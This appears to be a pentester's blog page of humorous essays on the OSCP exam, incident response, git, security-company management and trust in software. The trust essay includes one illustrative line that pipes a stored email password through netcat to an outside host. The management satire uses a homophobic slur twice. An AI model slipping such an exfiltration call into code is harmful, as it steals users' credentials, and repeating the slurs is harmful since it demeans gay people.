Category: …osophy

Thoughts on an “Obsessive Simulation of a Critical Procedure”

The Email

Some days ago I got a very weird email:

OSCP mail

I felt like something was very wrong. What with the “Professional” word in there (“Offensive Security Certified Professional“)? I don’t feel that professional. Specifically, this XKCD is so much expressing me:

lease

 

A professional?

So, as I’m not feeling that professional, this organization must be wrong to call me one. Yet, I actually pwned the machines required to “pass”, and be considered one. So, what am I?

Am I an OSCΗ (Offensive Security Certified Hobbyist)?

Being an OSCP means that you can do an Internal Penetration Test, and deliver some report. While the report requirements are too low (IMHO), the market is full of bad actual Penetration Test reports anyway, so it’s only fair. Yet, does this make you a Professional?

It (at least) makes you *Professional* on Capture The Flag

The infamous OSCP Lab and the Exam itself are basically CTFs. Nothing more. So, you don’t need to be a professional to play CTFs. I know 16-year-olds that play CTFs. And they think about batman half of the day. They could skill-wise earn an OSCP most probably.

But, then, skill is not the only thing needed to earn an OSCP. Far from it…

 

The ingredients of the OSCP recipe

The Exam

Well, to know computers is the easy part of the OSCP. In case you don’t know the well known process of OSCP exam, it goes as follows (as of 5/19):

  • You have 24 hours
  • You are presented with 5 hosts (Windows or Linux)
    • 25 point host – considered quite difficult
    • 25 point host with BoF – considered a gift from OffSec
    • 2 x 20 point boxes – difficult enough but doable
    • 1 x 10 point box – single remote exploit to root
  • You have to get root or Administrator/SYSTEM to 4 out of 5 boxes – 75/100 points to pass
  • The process is proctored
    • You are being watched and recorded for the whole 24-hour thing
    • Your screen is also watched and recorded
    • You have to write on a chat and get permission to take a break, even for a minute.
  • Metasploit and meterpreter can be used (successfully or not) only to one box.
  • When you finish, you get 24 more non-proctored hours to write a report and send it over to OffSec, with very specific/intimidating rules for packaging it.
  • If you have a report from 10 machines of the Lab and **all** the PDF exercises, you can submit them for 5 more points.

So, which part of this is something that makes you a Professional?

 

Mentality

For me, what made the whole exam a bearable experience that didn’t result in a mental breakdown, was handling it Professionally altogether. And by that, I mean bringing it to its logical proportions, evaluating what the exam actually means for me, my skills and my life in general.

Being a Professional on Penetration Testing some years now (without being OSCP), I’ve learned that there is a possibility that I won’t “hack” my way in some company. It happens. To even the best, and I don’t claim to be one of them. So there is some fat chance that I won’t get the enlightenment needed to get the Privilege Escalation for the 25 point box. Or find the exploit for the 10 point box (which was actually the case for me). And this is not a moment. This can be a 6-hour state of not finding this Privilege Escalation, that keeps you under the 75 passing points.

The ones that can patiently accept their not enlightened selves for 6 hours, falling back these 75 precious points, while calmly and constantly trying their best to earn them – these are Professionals.

 

Flawed Psychology Fucks People (FP2)

Given the situation of someone having 70 points (just under the passing line) for 6 hours (with the exam finishing in 2 hours) many bad things can cross one’s mind. It vastly depends on the background, but for me, problematic parenting (that happened long ago anyway), combined with bad school environment, some moderate impostor syndrome, a huge expectation from everyone I know that it’s a piece of cake for me (hence pressure), gave me plenty of triggers for bad thoughts.

Some of them:

  • I’m not enough / I’m not made for this (classic impostor syndrome verse)
  • If I had done the PDF exercises and Lab Report I could have the 5 points that I now miss (pointless regret)
  • “You can’t do it, it’s very difficult” (typical bad-fatherish voice)
  • I’m gonna fail and all my friends will realize that I’m not that good at hacking.
  • I had to study Windows/Linux Privilege Escalation more. It’s my fault. (another pointless regret).
  • If I fail this then I’m not a good hacker. And I haven’t invested to anything as much as hacking.

Continuing to look for the correct Privilege Escalation vector, while these thoughts knock your head’s door is not a simple task. It is not only about not opening to them. It is about minimizing them out of existence. About fortifying and allowing yourself to care only as much as needed and no more. Plus, all these thoughts count towards your thinking capacity, and you need all of it anyway.

What with the non-stop 24 hours?

There is no direction. It is 24 hours and a .ovpn file. Everything is up to you. You can sleep, eat, go out for beers, go pee every five minutes or get on an LSD trip. If somewhere in there you manage to get 4/5 root flags, and the next day you report it slightly better than a young monkey, you are an OSCP. That’s it. That’s the deal.

So it tests the maturity of your time managing skills. Do you get into rabbit-holes a lot? Do you stay in rabbit-holes out of stubborness of investing time to them? Do you have the tendency to procrastinate when you are looking up something on Github? Do you maybe check your phone every X minutes (X < 10)? These things are gonna cost. They cost in life anyway, but this 24-hour exam they are gonna cost X100.

 

“Try Harder”

Handling all the above while pwning 4/5 boxes in 24 hours is not easy. This is what makes you a Professional. This is OSCP.

The Trying Harder, the classic quote of OffSec is not about the boxes. Is about fixing the flaws that plague oneself, to refine the person as a whole. The challenge could very well be anything else. Yet, it’s not out of coincidence that the subject of a test that goes so deep into one’s psychology is an IT Security one. It has been well proven that IT Security and Human Psychology are well connected. I found somewhere a blog just about that. I think it was called securo-something

Between an Incident Response and a Break-up

Long time again… Sometimes I feel like I am gathering inspiration for too long, and it starts defusing after a while.

There is a perfect timing – a sweet spot – for writing a poem or a python package. If you miss it  that’s it, you missed it… You need to gather your inspiration all over again…

It’s been almost a year since my first post (Dating as a form of Penetration Testing). It is time for a break-up parallelization. Here we go!

 

Incident Response as a form of a Break-up

The Setup

Sometimes bad things happen. Those bad things vary in type, but a security incident in a company can be a very bad thing. A Bad like Jesse James thing. A company can lose thousands of $ or because of a spear-phishing campaign, or a compromised account on the database server.

A break-up, in the other hand is a more straightforward thing. You gotta get separated from someone or something beloved (I won’t forget the moment I gave up my ThinkPad, for my corporal machine).

For a guy the beloved thing is his girlfriend (or even his boyfriend), for a sys admin it’s the rootkit‘d File Server (he spend days and mojo building).

And you gotta get separated for sure… The Relationship/Server is no good anymore. It actually does more harm than good

Going Deeper

Technically speaking, there are several phases, both on an incident response, and on a break-up. And if you think of it hard enough, they seem to be the same phases…

SANS documents the Incident Response Phases in the GCIH cert material as follows:

  • Identification
  • Containment
  • Eradication (Cleaning Up)
  • Recovery
  • Lessons Learned

Hell, doesn’t this sound awfully familiar already?

So, let’s shine! Our star tonight: the Separated & Hacked SysAdmin

 

Identification

I don’t actually feel the same way I used to with her. I feel nothing when I touch her… I don’t care if I will be seeing her tonight or not

# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 19356 648 ? Ss May20 0:02 /sbin/init
root 2 0.0 0.0 0 0 ? S May20 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S May20 0:03 [migration/0]
[...]
root 4108 0.0 0.0 11716 548 ? S May20 0:02 /usr/sbin/.httpd
apache 37008 0.0 0.0 213148 11328 ? S May21 0:04 /usr/sbin/httpd

It is this time! The shivers you get. The mindblow. The spine that tingles a bit. The urge to cry… The realization that you have no tears…

It happened on Monday. It had to be about 19:something. Stayed at work late and had to come at her place for the night. The moment he was typing the ps command (for no reason, like every Linux guy who is bored in front of the #), he was thinking of his girlfriend…

Stayed late just to have some time alone. Didn’t have work to do. Didn’t need to be at work at all. But, for some reason he couldn’t get his head around the forthcoming sleepover. It ‘d be the same thing again. The same meal, the same sex, the same “Calvin and Hobbes” comic in the WC… He wouldn’t do it.

Then he grasped the ps output. Couldn’t actually believe what he was staring at. At first he was like “Hey, my httpd ain’t running as root. I fixed the config two days ago“. And then he went: “what the fuck is this bro?” (he loves P.C. Principle from South Park).

After the shock he had two phone calls to make. More like three. The first one was to his girlfriend. Talked about the incident. He couldn’t come over… He was somewhat hopeful for this. Somewhat… Sometimes digital forensics are better than sex. But that night… That night anything was better than sex!

And then he called the Incident Response team, and his best friends. Ordered pizza from the office to his home (that makes it four phone calls). Arranged a meeting for tomorrow morning with the Incident Response guys and headed for home were his friends were also heading after the Bromance Alarm.

He had to figure out both issues the following day. How comes he can’t see her face in his mind?. How this rogue process was planted? He had to get his shit together…

 

Containment

SANS got me on this again! SANS explains the Containment Phase as “to stop the bleeding“. SANS guys must be really experienced with break-ups apart from sleuthkit.

So, the sys-admin guy broke-up the next morning. He was the smart type of guy – he didn’t depress his feelings. He felt like so and he broke-up!

Ironically, he did so over the phone, while the Incident Response guys were unplugging the Ethernet from his server (after gathering live memory dumps of course)…

The containment phase began the same evening. He gathered the gang again and went to a Pub. Got almost wasted with just beers and nachos. Then he introduced himself to a stranger, while his friends were constantly provoking him, like high-schoolers (do we –men– actually ever escape the high-school age?). Told everything to her, while constantly burping like Rick from Rick and Morty.

He knew nothing about what was going to happen next… He knew nothing about the Nightingale Syndrome that the woman was under. To make a long story short, after almost crying on her arms, they got pre-laid in the Pub’s WC and completely laid in her place…

She became his “rebound girl” for a while. He slept over in her house for almost a week. He went home to pick up things like toothbrush and clothes. Too many memories in there… It was time for…

 

Eradication

The Friday Night was a bummer. All day Friday in work he was trying to remove the malware from the compromised server. There were also, crontabs, services, even a kernel mod was found by the forensics team…

He kept removing shit and more shit kept spawning. Rogue binaries in /root/bin/ and bogus entries in lsmod output… All day Friday he was removing malware…

Then he got home. A Friday evening. His friends were all busy and he kind of missed his ex.

What follows is often seen in movies and teenager video-clips. He got his zippo and went to the bathroom with all the pictures he had from the previous holidays they did together. He set them on fire on the bathtub. Later he brought presents and all romance-shit card-postals and letters from the Erasmus era. Her old sunglasses, her toothbrush, 3 pairs of socks… He kept burning stuff all night and more kept spawning…

 

Recovery

He took days burning stuff and drinking Mountain Dew or Dr. Pepper. He also made a new friend – the pizzaboy. Gained some weight, stopped going out, lost the NBA finals. He was a mess for some time…

 

Then, suddenly one morning, he woke up motivated! Went for a walk before work by himself. Had some push-ups before putting his jeans on. It was time to finally recover…

Went to work and rebuilt the whole server. LDAP authentication, public key only authentication on SSH, remote sys-logging, etc.

Then he got home. Cooked a meal for himself, after a long time. Brewed some coffee. Checked out Hacker News from his Android, like he used to, even before he met his ex.

Later that day, he went to the Pub, alone. Got some beer and sat by the window, alone. Nothing happened. None talked to him and he talked to no one. He did some thinking, all by himself.

Before going to bed, ’round midnight, he remembered he loved Kerouac and Burroughs. Their books were on the shelf collecting dust for too long. It had been years since he last read his favorite books. Goddammit, what had happened to him…

Fell asleep while reading the Junky, feeling nostalgic. It was the first day for the rest of his life…

 

Lessons Learned

He went to work earlier that morning. Determined. Whatever fucked that server up wouldn’t happen again. At least wouldn’t without him noticing

Utilized syslog everywhere. Everywhere! Even to the coffee machine. Spent countless hours setting up Kibana, added a Suricata to the firewall appliance and FINALLY created VLANs!

The thing went personal. This was not just his company’s network, it was his personal fortress

 

He stayed up late at work, and when he got home, he got a beer and did some more thinking. Why did he abandon everything while being with his ex-girlfriend? Why did he give up all the music he used to like? His favorite books? His friends? His role as linux-guru sys-admin?

Felt a bit desperate on why he left everything for her. Couldn’t understand why he lost the best bits of himself just by being with her… He wouldn’t do that again.

The thing went personal. He was not just a body and soul looking forward to mate again, he was his personal fortress

 

 

 

Highly inspired by “\”How To Break Up\” Tales Of Mere Existence” and my life.

Thanks for reading my 12th article.

 

 

 

A Git Tutorial of Human Psychology

In Image and in Likeness

Catching Paragraph
that uses several seemingly irrelevant pieces of information to hook the reader.

Bible says that [G|g]od created humans “In Image and in Likeness“. While I am not that huge fan of Bible, I do believe that some things are not randomly written in this book.

In Image and in Likeness” is the only way to structure, design, and create something. No wonder, that God created people “In Image and in Likeness” himself. He couldn’t do it any other way…

 

Git is no Εxception

Creating Git Version Control was also a miracle (thanks again Linus). And it was created to resemble human nature and psychology as well. I don’t claim that the author and developers had this in mind when they started their codebase, but I do believe that they couldn’t help it.
Humans are doomed to duplicate themselves. With more than one ways…

 

Today’s Proof of Concept

All Git operations have human-side equivalents. Equivalents that resemble life choices and personal mind tricks. Branching, committing, rebasing, all are ways a person feels and acts about things.

 

The Childhood

Git init

Let there be light” (this is the last biblical reference, promise).
We can parallelize a person as a git repo. So here is what happens when a person is born:

God@Earth# NEW_PERSON="person-$(date +%s)-3"
God@Earth# mkdir $NEW_PERSON; cd $NEW_PERSON;
God@Earth# chroot . start_life $NEW_PERSON &

(the start_life executable starts by setting UID != 0, to avoid creating a new god.
This was the bug that created the Titans, Pantheon, Egyptian Gods and more, in the early years of development)

Because god runs Linux, and that’s for sure…

Then the person has its own process… It is alive! And this is what happens…

$ ls
$ ls -a
. ..
$ git init
Initialized empty Git repository in /.git
$

Here, we have a new proje… person! All initialized and ready to fulfill its life goals…

 

Git add

As a new project, at first, a person adds everything that is inside the directory inside the repo. And this isn’t always good…

$ ls
mother.love    old_sister.love    father.love    mother.tongue    mother.bad_habits    father.drinking_problem
$ git add *
$ git status
On branch master

Initial commit

Changes to be committed:
  (use "git rm --cached <file>..." to unstage)

    new file:   mother.bad_habits
    new file:   father.drinking_problem 
    new file:   mother.love
    new file:   old_sister.love
    new file:   father.love
    new file:   mother.tongue
$

A child sucks everything in its environment to slowly develop a personality. And carries all added things with it. But a personality isn’t actually created before the…

Initial Commit

And here we have the end of Childhood… A child with a discrete personality is a teenager. Almost not a child anymore…
And here is the line that differentiates the two:

$ git commit -m "Built personality PoC"
[master (root-commit) 46ae33f] Built personality PoC

 6 files changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 father.love
 create mode 100644 mother.love
 create mode 100644 mother.tongue
 create mode 100644 old_sister.love
 create mode 100644 father.drinking_problem 
 create mode 100644 mother.bad_habits
$

The Early Years

git commit

A commit happens every time a personal decision is made. As the commit is the most common command in git, it is also the most common mental condition in a person’s life. You commit every time consequences of your actions will affect you as a person. Just like a commit in git. It is a command that defines a state of you.

The .gitignore file!

A teenager starts to be more selective when adding things to his/her life. Tries to evaluate whether something is crucial for its development, or not.
A typical example of this is the following:

$ echo "mother.*" > .gitignore
$

This way a teenager permanently ignores all changes on its mother behavior, effectively carving its own way. One can add things to the .gitignore file as experience comes:

$ echo "*.assholes" >> .gitignore
$

Here we added the line to ignore all assholes, and prevent them from changing our life.

 

git branch

There are circumstances that you have to treat like a whole new person. There are events that need a whole fresh you when you first get into them, like relationships or hobbies. Events that every change they do to you, won’t affect you in other aspects of your life.

Let’s say that the teenager we left of, is a boy and is now ready to meet his first love “Lily”:

$ git status
On branch master
Untracked files:
  (use "git add <file>..." to include in what will be committed)

    lily.love
$

He is going to be a boyfriend, trying to leave the rest of his life intact. He has to create a new life branch.

$ git branch boyfriend_of_lily
$

git checkout

Now, every time he is with Lily he can just:

$ git checkout boyfriend_of_lily
$

and develop his relationship with her. Adding some Lily-specific files, or changing some already created ones. Also all commits done when with Lily, will affect their relationship only, not the rest of his life (hopefully).

People have countless branches. Think about hobbies, jobs and people that need a specific version of us to operate us expected… I do not treat my colleagues like my parents and I don’t cook with the same attitude I play basketball.

Sometimes, a hobby, a person, a general condition becomes so vital to us that is not “yet another thing” we do. It is something special, something really important to us… When this time happens for one of our branches we have to…

git merge

Here is why git shines. When we have a great hobby, that really means a lot to us, we have to merge it into our master branch.

$ git checkout master
$ git merge hobby_that_defines_you

after that, our hobby is included in the master branch, meaning that is an essential part of ourselves.

Problems start when some branches of ours that we want to merge to our master branch, have changed our inner selves in such a way that contradicts our personality.
When this happens we have the most serious first world problem:

 

The Merge Conflict…

Let’s say that:
as a person you are cheerful and generally happy, but then you met that goth girl, that  hates smiling and always wears that ring with the skull on it that gives you the creeps.

You are yourself when out with your friends, and you checkout to your Emo branch when with your goth girl! Great, that’s what branches are all about. But then you have to go to a party, were both your friends and your girlfriend will be there. Trying to merge those two branches raises the issue:

$ git checkout party_with_friends
$ git merge goth_girlfriend
Auto-merging attitude
CONFLICT (add/add): Merge conflict in attitude
Automatic merge failed; fix conflicts and then commit the result.
$
$ cat attitude
<<<<<<< HEAD
Happy and ready for the party!
=======
Look like I hate myself.
>>>>>>> goth_girlfriend

This issue has to be resolved. The way to resolve it is to get to that file and remove anything that doesn’t really belong to you.

I believe that all psychological problems start with such conflicts. When merging, back to master, incompatible branches of our egos… This is because the heavy development has to be done in master branch. The heavy development and commiting has to be in ourselves. While gaining experience we learn when to merge. We also learn when to…

 

git rebase

When a huge event like a marriage, a job, a loss, a break-up happens, our whole life is then defined by it. Our personal history can be split to before the event and after the event periods. We can remember being completely different before the event.

But now that the event has happened and we have plenty of commits on its branch, it is really easier to adopt our master branch on the branch of the new event, than checkout again to our old and dusty self – master branch.

This is when a rebase happens. When we need to redefine ourselves on top of another event. Notice the difference with the merge. Merge puts some additional things to our master. Rebase redefines our master to include the additional things historically.

 

Concluding

And the list goes on!

  • git cherry-pick, when we try to keep only the good stuff from a situation of ours,
  • git blame when we try to find when we made the wrong choice and what went wrong,
  • git tag when we accomplish something memorable.

The next time I get across someone that believes that computer science is far away from the human nature (there is such argument), I ‘ll answer 2 words (kinda)

$ git --help

*mic drop*

 

In the Twisted mind of Upper Management

I have written before about how compliance fucks up security, this is a common ground now. This post isn’t about that, as it has been all used up in several conferences, blog posts, drunk Red Team meet-ups and so on.

This post will talk about the nonsense that takes place inside the average Security company itself. It is really astonishing how the most absurd situations just tend to all get together and find their home in Security companies.

But this whole post isn’t about that either. While some fucked up situations will be our case studies, the post will try to suggest the reason that all this shit doesn’t happen in companies that create refrigerators or condoms

 

The Model

A typical security company consists of about 3 departments. They can be 4 or 6 but they are simplified to the above 3:

  • A Red Team / Penetration Testing Team
  • A Development Team
  • A Monitoring/Operations Team

And they all suck for different reasons…

 

Stating what sucks…

The Red Team

Well, the Red Team doesn’t suck. Most of the time it is a bunch of folks that really know their shit deeply and all. What does suck is that they have to report things. And those guys, most of the time, can barely talk. Imagine how painful will be for them to write stuff. They pay for 1 hour of enjoyment (meterpreter dances, pizza breaks, pentesting vending machines and such hilarious stuff…) a total of 7 hours of hating themselves in front of a Word document, or similar text editor. They at least do what they love the 1/8 of the time…

The Developers

If you take a bunch o’ monkeys and leave them in a cage with enough pot they will eventually write a Security Product for Internal Use. This is the development department. The classic UML faggotry, Java nonsense, and such clichés all apply.

And every company has their product that isn’t of course ready yet, but it will soon be. And good Lord it is gonna kick ass when it ‘ll be…

Their reason of existence is simple. There can be no “Computer Company” without “Program Making“. It is well known that this is what Computers are all about: “Creating Programs” (in the twisted mind of upper management).

 

Monitoring/Operations

What does suck the most is the Monitoring part. And it sucks a lot. In a whole new, existential level.

If you take every guy in there they all wanted to be pentesters. Worse than that is that now they don’t know what exactly they are. And this agnostic mentality flows around the whole department. They are not sure if they maintain a Network Operation Center, a Security Operations Center, an Incident Response Center, a Log Storage Service, a Behavioral Analytics Service or a Hard Rock Cafe, whatever.

They are so clueless about their existence they need lengthy meetings to decide if they are capable of servicing a customer that needs a very specific service. They are not sure whether they support such service but they go “Fuck it” and onboard him anyway.

The only Group of people that knows exactly what kind of fruit is the Monitoring department is the Upper Management (spoiler alert: its a money and a cow, what is it?)…

 

 

Why does everything suck?

Meet the Beast: Upper Management

They couldn’t last a day in any department of the company. Most of the time they have no clue what the company is about. If you ask them: “Tell me what does your company provide without using the word ‘Security’ ?” they may get an epileptic seizure the next instant.

So Security Companies are fucked up because their bosses are collecting butterflies while they could at least study what they are being bosses at.

I mean, my idea about the Boss role (say the Platonic Idea) is the man that does the same work as you, but way better. If someone hires me that demands from me to make chickas, but he can’t do it himself, I can, very well, make chickos and he will barely notice (chickas and chickos are words I just invented, don’t google them).

But how can this work?

Spoiler Alert: It doesn’t… Have you ever heard of failure?
This situation can very well define failure. And this failure bleeds money until it bankrupts, really slowly.

This happens for a number of reasons. Someone needs to pay all those folks, working on maintaining the illusion of security to the customers.
The Company gets the annual money from contracts and projects, but instead of moving on with some education with that money, it hires more developers. Because more developers means less time for the product to come out (in the twisted mind of upper management)! And when it comes out it ‘s gonna kick ass and stop hacking worldwide! And EVERYONE is gonna buy it on a huge price anyways…
But, unfortunately when too many developers get together, nothing ever gets finished, so they could very well play Minecraft in LAN parties, or Dungeons & Dragons, or beat Piniatas and end up more productive than when actually coding for the project. Because development is something nearly impossible to do right (it takes a lot more than coding), and most of the time it becomes a black hole that  sucks money.

In the meantime someone among the pentesters has the free version of BurpSuite and the Monitoring Center has an underspecs server or two…

And how it stops (not) working…

This nonsense actually has two ways to stop:

  1. Developers suck up all the money and release no product.
  2. Developers release the product.

The first scenario is simple yet amazing. A bunch of people bring a whole company down by not doing what they had to, while working every day 9:00-17:00 (sometimes even in weekends). I find this scenario amusing! It is the college project failure scaled all the way up!

But the second scenario is the one closer to reality.
When development department proudly presents a product, that has the same functionality with a forgotten project of some Chinese guy on Github, and the whole Upper Management realises that they can’t sell this stuff because none in the security industry really needs something like this (this is also the reason the Chinese guy abandoned his project back at 2014), the company breaks down. And it does as it depended on the sales, that should have been tremendous!

 

Why those tragedies do not happen in companies that manufacture refrigerators or condoms…

Upper management can very well be non-technical in refrigerator or condom companies. But the big difference between Security companies and condom companies is the following:

Upper Management people use (or have used) condoms and will never use security products (not even nmap)!

In condom companies people that have meetings and make choices about the company do not need to be consulted about how a condom works by a specialist, or why use a condom.

In security companies, in the other hand, the non-technical upper management has no fucking clue, and will never understand if something is worth spending or not. They completely lack common sense regarding their service or product.

This can be very well understood with 3 examples:

Condom makers
[The Condom Designer]: Hey boss, I believe we need to make condoms with WiFi. The budget we 'll need is 150.000$.

[The Condom Boss]: You are fired.

This boss figured out from his* experience that condoms with WiFi are useless as fuck. This Designer got sucked and he deserved it because he lost hours trying to budgetize condoms with WiFi. Fuck him.

*: or rather “her“, I prefer female bosses.

Refrigerator makers
[The Refrigerator Designer]: Hey boss, I believe that we need to make refrigerators with microphones, cameras and TCP/IP stack to ensure good quality of service (?). The budget for this is 180.000$.

[The Refrigerator Boss]: You are fired. (hopefully)

Here the boss didn’t see the opportunity of the IoT circus. But he fired the ignorant bastard just to be on the safe side…

Security providers
[The Security Designer]: Hey boss, I believe that we need to develop a tool that can compromise every operating system, platform and network.
We 're gonna write this in Java, as it is cross platform (?), and the budget for this will be 300.000$.

[The Security Boss]: This is a great idea! We are gonna invest on this!

This boss has no idea about Cobalt Strike, Metasploit, etc. Tools that have been developed for years and are the defacto standard for the industry. He has no experience on “compromising” things.
If he ever knew what Java is all about, he would burst into tears of laughter before the Designer could finish the proposition. (For people that don’t know, Java is even worse than Ruby nowadays).
Plus the “compromise everything” sounds too bad-ass to be cheaper than 300.000$…

 

For me the last conversation has one more line:

[God] : Hey guys, come to see those two faggots! They are gonna write metasploit again, from scratch! (laughters).
In Java! (laughters)
(...laughters echo in paradise...)

I hand out to you a recipe of failure! Please stop cooking it…

 

 

 

 

 

 

 

Trust: a tale of Security, Philosophy, Reverse Engineering and Python

The role of Trust on InfoSec Incidents

Security boils down to be entirely about trust, if you come to think of it. Every information security incident could somehow be rephrased to include the word “Trust” in its reasons of happening. Just try anything:

  • SQL Injections all over the Web (and injection family exploits): “Mistrusted user input”.
  • Cross-Site Scripting: Mistrusting that a site will run on your browser only non-malicious code.
  • Superfish Incident: Add of an untrusted SSL Certificate in the Trust List of all computers from Lenovo.
  • Stuxnet:
    • Enough trust to a USB removable medium for it to be plugged in an “Air-gapped” computer.
    • Trust of the engineers on what they see (the backdoored health monitoring indication of the centrifuges) rather than what they hear (the centrifuges screaming as they were over-spinning).
  • Heartbleed, Shellshock: Trust on Open Source code auditing (as those were glaring bugs – and not the only ones)
  • Snowden’s leaks (it is a Security Incident for the 3-letter guys): Too much Trust on an employee (even a high positioned one).
  • … add your favorite Incident here …

And I mean all Security, Crypto included…

Encryption algorithms are trusted to be working. I mean there are Proofs on that they work (work means that decryption undoes encryption) but there aren’t proofs on that there can be no ways to deduce easily the key (easily meaning “easier than brute force”). There are also “Backdoored Ciphers” (with DES flirting closely with this speculation). Do we Trust these? Of, course not! Did we trust them before speculating or prooving they were backdoored? Sure, I mean, why not (DES was the fuckin’ Encryption Standard, as its name implies).

In the same manner: Today we trust AES. Ιf tomorrow we find out that there is a way to (instantly) decrypt every AES communication, we won’t trust it anymore. Meanwhile someone is reading us… And we have ourselves another trust-based security incident.

 

Why Trust anyway?

As  Ernst Alexander Rauter put it, in his famous “Creating subject people – How an opinion forms in the mind” (a book that isn’t sold on amazon in english – german edition),: “Trust is something that always upflows, from low power people to higher power people“. This is a very rough translation of the fact that people tend to trust things they don’t manipulate. Also people never want to feel scammed, so in defense of the exploration of an unwanted truth they prefer to just “trust“.

That’s why we trust crypto, and we trust our Operating System or our car. Because we can’t be 100% sure about their actions. So we politely assume that everything works as intended. Just to be gentle with ourselves.

 

The Trust Game in Computers

One of UNIX’s fathers, Ken Thompson, (apart from being the reason you see a.out files when compiling without arguments), implied a groundbreaking question in 1984 (a really controversial date!): “Do you trust your compiler? Do you trust your compiler so much that you are sure that when you compile the /bin/login binary, it won’t plant a backdoor in it?“. I am talking about the well-known “Ken Thompson Hack” documented in his awesome paper “Reflections on Trusting Trust“.

The truth is we trust our default gcc installation, and –seriously– never questioned it. It seems far-fetched to believe that there is such possibility. The reason for that is because we have to be reverse engineers to actually Check It. And this isn’t the case for the most of us…

 

 

Asking for and gaining Trust

My case study subject

Do you know about the kind of application called “Password Manager“? Applications like  “KeePass” that keep all your passwords in one place. They save them to disk in encrypted form and copy them to your clipboard whenever you need them, while you protect them all with a single “Master Password/Decryption Key“.

Asking for Trust

Those applications need a whole lot of trust from the users that use them. They could easily exfiltrate all your passwords to an unknown location without you noticing. In reality the only password worth exfiltrating is your email account’s password. If someone accesses your email’s password, the “Forgot my Password” button could do the rest of the work in all websites you’ve registered…

Gaining Trust

So how an application so crucial to your privacy gains Trust?

Well most of the time it doesn’t. Most of the time people assume that the binaries they download will do what they were described they do. Even their DLLs. But that’s because most people can’t actually check what an executable is doing. They trust because of their inability to know.

We need to go deeper

For an infosec researcher trust is gained. I trust that nmap works the way it works as I have wireshark‘d it a whole lot of times. I am sure https meterpreter is stealthy enough in many cases as I had it bypass my own firewall first. And I trust that keepass doesn’t make remote connections because of this:

n0p_sl3d@hostname:~$ objdump -D $(which keepassx) | grep socket
n0p_sl3d@hostname:~$

while:

n0p_sl3d@hostname:~$ objdump -D $(which netcat) | grep socket | wc -l
874

If you are used to C language Socket Programming you know that the way to open a network connection is through the socket function. And, in the untrimmed, non-statically compiled version of keepassx I use, there are no such calls in the binary. That’s definitely a good sign! Some trust is gained now!

But if you think of it, a call like:

system("echo %s | nc bad-domain.ddns.net 8080" % email_password);

doesn’t create a socket but would still exfiltrate my pass. That’s why keepass is Open Source. Just grep the code for similar looking calls, if you find any, keepass is a nasty traitor…

Sure that’s a lot of work but it is also your call how far you can go. Depending on how much you value your passwords. It’s a trade-of.

 

 For the Unconvinced

If keepass has a backdoor (while open-source) it has to be hidden in a smart way. And while you don’t know the author, you can’t be sure about his intentions. The only way to trust some things is to be 100% sure about how they operate. That brings us to the last part of this post:

 

100% Trust

The person highest in the Trust Scale, we maintain inside us, is ourselves. We ultimately believe in our eyes and hands. The Password Manager we will trust the most is the one that we will write ourselves or the one we carefully went through its code, and understood it line by line

This tends to be impossible for most Open Source projects, sometimes even for their contributors. Trust in Open Source projects suggests smaller, more comprehensive projects, in a Programming Language for humans, to be achieved in the desired 100% percent…

 

Python to the rescue!

There are like 15 actively used Programming Languages nowadays, but the ones they maintain a tiny chance of being understood in a glimpse of an eye are the english-like scripting ones (that means Python only).

So the goal was to create a Proof of Concept Python Password Manager that wouldn’t exceed 50 lines of code(single file) and will provide reasonable security, while being as easy to understand as possible maintaining the basic features. That way people would use it and be absolutely sure about what it does. The goal was to convince the unconvinced that this tool works as intended and only as intended. And here it is!

TinyPwdMan

TinyPwdMan‘s code can be found here: https://github.com/operatorequals/TinyPwdMan/blob/master/TinyPwdMan.py

The Source Code fits in a single page without scrolling! It uses master password, XOR encryption and can even copy to clipboard. It’s initial size is 38 lines.

It isn’t designed for real use (while it works flawlessly), but for a demonstration on what can really be absolutely trusted, and what is trusted because of its convenience. Because let me tell you: keepass beats that little Password Manager out of the water when it comes to convenience.

Either way, your passwords are as unsafe as the weakest link of your chain in which you use them. From mind, to keyboard, to OS, to application, to network, to the other side.

And the weakest link is not the encryption, nor the possibility of an exfiltration that would cost a Password Manager Author his reputation (once discovered), and probably his career and life.

The weakest link is you!

 

security
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